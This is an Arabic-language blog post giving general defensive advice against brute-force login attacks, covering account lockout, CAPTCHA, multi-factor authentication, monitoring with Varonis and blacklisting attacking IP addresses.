بمجرد اكتشاف الهجوم وإيقافه ، يمكنك حتى وضع عناوين IP في القائمة السوداء ومنع المزيد من الهجمات من نفس الكمبيوتر.القوة الغاشمة من محاولات تسجيل الدخول الفاشلة في معظم خدمات الدليل - الدفاع الجيد ضد هجمات القوة الغاشمة هو حظر المستخدمين بعد بضع محاولات فاشلة (بعد 5 محاولات فاشلة مثلا)، وبالتالي إبطال هجوم التخمين قيد التقدم.
تفعيل Captcha : يعد Captcha نظامًا شائعًا للتحقق من أن الإنسان هو إنسان على مواقع الويب ويمكنه إيقاف هجمات القوة الغاشمة الجارية
استخدام المصادقة متعددة العوامل: تضيف المصادقة متعددة العوامل طبقة ثانية من الأمان لكل محاولة تسجيل دخول تتطلب تدخلاً بشريًا يمكن أن يوقف هجوم القوة الغاشمة من النجاح
تبدأ الطريقة الاستباقية لوقف هجمات القوة الغاشمة بالمراقبة. يراقب Varonis نشاط Active Directory وحركة مرور VPN لاكتشاف هجمات القوة الغاشمة الجارية.
من الأفضل اكتشاف هجوم قيد التقدم وإيقاف الهجوم بفاعلية بدلاً من أن تأمل أن تكون كلمات مرورك غير قابلة للاختراق.
بمجرد اكتشاف الهجوم وإيقافه ، يمكنك حتى وضع عناوين IP في القائمة السوداء ومنع المزيد من الهجمات من نفس الكمبيوتر.
Posted by 


comment 0 Comments
more_vert